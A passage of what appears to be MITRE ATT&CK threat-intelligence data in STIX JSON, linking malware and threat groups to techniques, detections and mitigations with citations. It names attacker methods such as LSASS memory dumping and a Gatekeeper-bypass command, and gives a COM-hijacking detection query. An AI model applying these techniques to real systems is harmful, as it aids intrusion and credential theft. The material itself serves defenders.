T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-12-01T18:49:06.974Z","description":"[Chrommme](https://attack.mitre.org/software/S0667) can retrieve the username from a targeted system.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--579607c2-d046-40df-99ab-beb479c37a2a","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6f09187-694f-4be9-9617-e93ab25ff9a7","type":"relationship","created":"2021-12-02T15:28:03.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"modified":"2021-12-02T15:28:03.206Z","description":"[TinyTurla](https://attack.mitre.org/software/S0668) can use HTTPS in C2 communications.(Citation: Talos TinyTurla September 2021)","relationship_type":"uses","source_ref":"malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6f2f304-e637-4636-a238-b30904ce11fc","type":"relationship","created":"2019-01-29T19:36:02.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ESET. (2017, March 30). Carbon Paper: Peering into Turla’s second stage backdoor. Retrieved November 7, 2018.","url":"https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/","source_name":"ESET Carbon Mar 2017"}],"modified":"2019-04-12T14:43:22.646Z","description":"[Carbon](https://attack.mitre.org/software/S0335) can list the processes on the victim’s machine.(Citation: ESET Carbon Mar 2017)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e6f5bde4-869f-4c9a-9414-11ea48386204","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.423Z","description":"[CORESHELL](https://attack.mitre.org/software/S0137) obfuscates strings using a custom stream cipher.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--60c18d06-7b91-4742-bae3-647845cd9d81","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6f69552-fe0e-4b40-ad20-4410048277e6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto menuPass Feb 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"}],"modified":"2020-03-17T00:33:19.756Z","description":"[ChChes](https://attack.mitre.org/software/S0144) collects its process identifier (PID) on the victim.(Citation: Palo Alto menuPass Feb 2017)","relationship_type":"uses","source_ref":"malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6f81b9c-8fda-49f5-a944-265f5bad82ba","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/05/navrat.html","description":"Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.","source_name":"Talos NavRAT May 2018"}],"modified":"2021-10-04T20:17:36.881Z","description":"(Citation: Talos NavRAT May 2018)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"malware--53a42597-1974-4b8e-84fd-3675e8992053","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e6f91852-779f-4f4c-9166-89a61de5dcb5","created":"2024-05-22T20:46:34.866Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:46:34.866Z","description":"[IPsec Helper](https://attack.mitre.org/software/S1132) can delete itself when given the appropriate command.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--b5dc19b7-588d-403b-848d-c868bd61ffa1","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6f9ae1e-7002-4c62-be60-f45eca42061e","type":"relationship","created":"2020-05-06T21:31:07.647Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.647Z","description":"[Okrum](https://attack.mitre.org/software/S0439) can obtain the date and time of the compromised system.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6f9bcbe-43aa-451a-948d-85b64fd3c958","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor executed commands and arguments that may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e6fa0699-430b-4506-9a6d-286b22381206","type":"relationship","created":"2020-01-28T14:05:17.985Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-28T14:05:17.985Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","target_ref":"attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e6ff8ec4-51c4-47d2-83a8-777d8c2a7b8e","created":"2024-02-09T19:16:51.220Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T19:16:51.220Z","description":"(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"malware--9a097d18-d15f-4635-a4f1-189df7efdc40","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7077a73-991e-4660-a13d-fb30dc36fab1","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-20T22:57:46.659Z","description":"[adbupd](https://attack.mitre.org/software/S0202) contains a copy of the OpenSSL library to encrypt C2 traffic.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e711d51c-94d3-4a20-ae11-d3584bae36d9","created":"2021-03-22T21:57:48.752Z","x_mitre_version":"1.0","external_references":[{"source_name":"wardle evilquest partii","url":"https://objective-see.com/blog/blog_0x60.html","description":"Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThiefQuest](https://attack.mitre.org/software/S0595) uses a function named is_debugging to perform anti-debugging logic. The function invokes sysctl checking the returned value of P_TRACED. [ThiefQuest](https://attack.mitre.org/software/S0595) also calls ptrace with the PTRACE_DENY_ATTACH flag to prevent debugging.(Citation: wardle evilquest partii)","modified":"2022-04-16T15:01:18.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7126875-bb0f-48d0-845f-6b8951ce8507","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Pasam May 2012","description":"Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"}],"modified":"2020-02-11T19:38:06.259Z","description":"[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve files.(Citation: Symantec Pasam May 2012)","relationship_type":"uses","source_ref":"malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e712d24e-0fdc-4ce3-96bf-939b7d4a9cd3","type":"relationship","created":"2019-01-30T19:50:46.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","source_name":"Unit 42 NOKKI Sept 2018"}],"modified":"2020-03-17T01:58:31.420Z","description":"[NOKKI](https://attack.mitre.org/software/S0353) uses the Windows call SetWindowsHookEx and begins injecting it into every GUI process running on the victim's machine.(Citation: Unit 42 NOKKI Sept 2018)","relationship_type":"uses","source_ref":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e713d92b-4545-4123-8dab-4c35e27d77c1","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Elastic COM Hijacking","description":"Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.","url":"https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:18:34.261Z","description":"There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated.\n\nAnalytic 1 - Component Object Model Hijacking\n\n source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode IN (12, 13, 14) TargetObject= \"*\\Software\\Classes\\CLSID\\*\"\n","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e7169878-e45d-40ec-a579-6dd12d710cc3","created":"2024-05-23T17:10:02.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"},{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T21:44:13.223Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used [Impacket](https://attack.mitre.org/software/S0357) for lateral movement and process execution in victim environments.(Citation: Cadet Blizzard emerges as novel threat actor)(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7169b87-569a-4433-b7f5-f4cdfb43d8fa","type":"relationship","created":"2021-06-22T14:28:38.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T14:28:38.408Z","description":"[FYAnti](https://attack.mitre.org/software/S0628) has used ConfuserEx to pack its .NET module.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--434ba392-ebdc-488b-b1ef-518deea65774","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e7187197-205f-496f-b41c-34d57c52a997","created":"2022-09-29T20:10:02.778Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T20:10:02.778Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used WMI to load [Cobalt Strike](https://attack.mitre.org/software/S0154) onto additional hosts within a compromised network.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e71903c4-a7af-4317-adf0-10f76d3d4e15","type":"relationship","created":"2017-05-31T21:33:27.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"},{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"},{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-08-31T16:59:47.130Z","description":"[APT28](https://attack.mitre.org/groups/G0007) regularly deploys both publicly available (ex: [Mimikatz](https://attack.mitre.org/software/S0002)) and custom password retrieval tools on victims.(Citation: ESET Sednit Part 2)(Citation: DOJ GRU Indictment Jul 2018) They have also dumped the LSASS process memory using the MiniDump function.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e71bcde1-03cd-46c3-ab59-aede8aefe8b9","created":"2024-05-17T20:24:26.385Z","revoked":false,"external_references":[{"source_name":"Huntress NPPSPY 2022","description":"Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved May 17, 2024.","url":"https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T20:24:26.385Z","description":"[NPPSPY](https://attack.mitre.org/software/S1131) collection is automatically recorded to a specified file on the victim machine.(Citation: Huntress NPPSPY 2022)","relationship_type":"uses","source_ref":"tool--0630d1a7-54da-4a48-a6af-eb8a62b13c17","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e7240735-0936-49b9-a4ff-16cb0aa06e07","created":"2024-05-23T22:46:47.356Z","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-23T22:46:47.356Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) uses valid network credentials gathered through credential harvesting to move laterally within victim networks, often employing the [Impacket](https://attack.mitre.org/software/S0357) framework to do so.(Citation: Cadet Blizzard emerges as novel threat actor)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e725bb68-9fe3-4c43-8ef5-57d57b40b066","type":"relationship","created":"2019-01-31T01:07:58.800Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2019-07-17T13:11:38.953Z","description":"(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7339f46-a3f5-47c8-9850-313797cd6fb2","type":"relationship","created":"2020-10-02T16:56:49.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T16:56:49.838Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f","target_ref":"attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e733d4b5-0881-4de8-9461-58ca239b7c82","type":"relationship","created":"2021-03-02T13:57:47.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}],"modified":"2021-09-24T20:24:27.314Z","description":"[Kerrdown](https://attack.mitre.org/software/S0585) has gained execution through victims opening malicious links.(Citation: Amnesty Intl. Ocean Lotus February 2021)","relationship_type":"uses","source_ref":"malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e735944e-9387-4cfb-bf2c-0a1c27d93bce","created":"2020-12-02T14:13:22.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro MacOS Backdoor November 2020","description":"Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020.","url":"https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html"},{"source_name":"20 macOS Common Tools and Techniques","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T21:23:45.587Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses the command xattr -d com.apple.quarantine to remove the quarantine file attribute used by Gatekeeper.(Citation: Trend Micro MacOS Backdoor November 2020)(Citation: 20 macOS Common Tools and Techniques)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e73bf2f8-b009-4555-8fda-3407fa87c812","type":"relationship","created":"2020-08-11T13:13:12.311Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-16T12:54:41.391Z","description":"Limit permissions to discover cloud accounts in accordance with least privilege. Organizations should limit the number of users within the organization with an IAM role that has administrative privileges, strive to reduce all permanent privileged role assignments, and conduct periodic entitlement reviews on IAM users, roles and 